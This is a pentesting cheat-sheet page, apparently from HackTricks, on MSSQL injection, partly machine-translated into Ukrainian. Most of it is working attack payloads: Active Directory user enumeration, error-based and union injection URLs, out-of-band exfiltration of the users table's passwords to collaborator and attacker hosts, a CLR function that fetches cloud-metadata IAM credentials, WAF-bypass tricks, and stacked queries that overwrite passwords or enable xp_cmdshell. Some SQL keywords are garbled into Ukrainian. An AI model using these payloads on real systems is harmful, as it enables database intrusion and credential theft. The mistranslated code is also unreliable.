MSSQL Injection

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Перелік Active Directory

Можливо, ви зможете перелічити користувачів домену через SQL-ін'єкцію всередині сервера MSSQL, використовуючи наступні функції MSSQL:

  • SELECT DEFAULT_DOMAIN(): Отримати поточне ім'я домену.

  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): Якщо ви знаєте ім'я домену (DOMAIN у цьому прикладі), ця функція поверне SID користувача Адміністратор у шістнадцятковому форматі. Це буде виглядати як 0x01050000000[...]0000f401, зверніть увагу, що останні 4 байти - це число 500 у форматі big endian, яке є загальним ідентифікатором користувача адміністратора. Ця функція дозволить вам знати ідентифікатор домену (усі байти, крім останніх 4).

  • SUSER_SNAME(0x01050000000[...]0000e803) : Ця функція поверне ім'я користувача, вказаного ідентифікатором (якщо такий є), у цьому випадку 0000e803 у форматі big endian == 1000 (зазвичай це ідентифікатор першого звичайного користувача, створеного). Потім ви можете уявити, що ви можете перебрати ідентифікатори користувачів від 1000 до 2000 і, ймовірно, отримати всі імена користувачів домену. Наприклад, використовуючи функцію, подібну до наступної:

def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Альтернативні вектори на основі помилок

SQL-ін'єкції на основі помилок зазвичай нагадують конструкції, такі як +AND+1=@@version-- та варіанти на основі оператора «OR». Запити, що містять такі вирази, зазвичай блокуються WAF. Для обхіду сконкатенуйте рядок, використовуючи символ %2b з результатом конкретних викликів функцій, які спричиняють помилку конвертації типу даних на шукані дані.

Деякі приклади таких функцій:

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

Приклад використання функції USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

Ці трюки SSRF були взяті звідси

fn_xe_file_target_read_file

Для цього потрібен дозвіл VIEW SERVER STATE на сервері.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

Вимагає дозволу CONTROL SERVER.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

Для цього потрібен дозвіл CONTROL SERVER.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

Збережені процедури, такі як xp_dirtree, хоча і не офіційно задокументовані Microsoft, були описані іншими онлайн через їхню корисність у мережевих операціях в MSSQL. Ці процедури часто використовуються для виведення даних поза межами зв'язку, як показано в різних прикладах та пости.

Наприклад, збережена процедура xp_dirtree використовується для виконання мережевих запитів, але вона обмежена лише портом TCP 445. Номер порту не можна змінити, але вона дозволяє читати з мережевих ресурсів. Використання показано в SQL-скрипті нижче:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

Цей метод може не працювати на всіх конфігураціях систем, таких як Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64), що працює на Windows Server 2016 Datacenter з налаштуваннями за замовчуванням.

Крім того, існують альтернативні збережені процедури, такі як master..xp_fileexist та xp_subdirs, які можуть досягти подібних результатів. Додаткові відомості про xp_fileexist можна знайти у цій статті TechNet.

xp_cmdshell

Очевидно, ви також можете використовувати xp_cmdshell для виконання чогось, що спричиняє SSRF. Для отримання додаткової інформації прочитайте відповідний розділ на сторінці:

page1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL User Defined Function - SQLHttp

Створення CLR UDF (функції, визначеної користувачем Common Language Runtime), яка є кодом, написаним на будь-якій мові .NET та скомпільованим у DLL, для завантаження в MSSQL для виконання власних функцій, - це процес, який вимагає доступу dbo. Це означає, що це зазвичай можливо лише тоді, коли підключення до бази даних виконується як sa або з роллю адміністратора.

У цьому репозиторії Github надаються проект Visual Studio та інструкції щодо встановлення для спрощення завантаження бінарного файлу в MSSQL як CLR-сборки, що дозволяє виконувати HTTP GET-запити зсередини MSSQL.

Основа цієї функціональності увібрана в файл http.cs, який використовує клас WebClient для виконання запиту GET та отримання вмісту, як показано нижче:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

Перед виконанням SQL-команди CREATE ASSEMBLY рекомендується виконати наступний фрагмент SQL-коду для додавання хешу SHA512 збірки до списку довірених збірок сервера (який можна переглянути за допомогою select * from sys.trusted_assemblies;):

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Після успішного додавання збірки та створення функції, можна скористатися наступним SQL-кодом для виконання HTTP-запитів:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Швидка експлуатація: Отримання вмісту всієї таблиці за один запит

Хит відси.

Конкретний метод отримання повного вмісту таблиці за один запит включає використання клозулу FOR JSON. Цей підхід є більш стислим, ніж використання клозулу FOR XML, який вимагає певного режиму, наприклад, "raw". Клозул FOR JSON віддається за його лаконічність.

Ось як отримати схему, таблиці та стовпці з поточної бази даних:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
https://vuln.app/getItem?id=1'+та+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

Retrieving the Current Query

Trick from here.

For users granted the VIEW SERVER STATE permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

To check if you have the VIEW SERVER STATE permission, the following query can be used:

```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

## **Little tricks for WAF bypasses**

[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)

Non-standard whitespace characters: %C2%85 или %C2%A0:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--


Scientific (0e) and hex (0x) notation for obfuscating UNION:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

A period instead of a whitespace between FROM and a column name:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--


\N separator between SELECT and a throwaway column:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--


### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
```plaintext
ВИБРАТИ 'а' ВИБРАТИ 'b'

So for example, multiple queries such as:

```sql
використовуйте [tempdb]
створіть таблицю [test] ([id] int)
вставте [test] значення (1)
виберіть [id] з [test]
видаліть таблицю [test]

Can be reduced to:

Використовуйте[tempdb]створити/**/таблицю[test]([id]int)вставити[test]значення(1)вибрати[id]з[test]видалити/**/таблицю[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

# Додавання непотрібного exec() в кінці та змушення WAF вважати, що це не дійсний запит
admina'union select 1,'admin','testtest123'exec('select 1')--
## Це буде:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# Використання дивно побудованих запитів
admin'exec('update[users]set[password]=''a''')--
## Це буде:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# Або увімкнення xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## Це буде
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated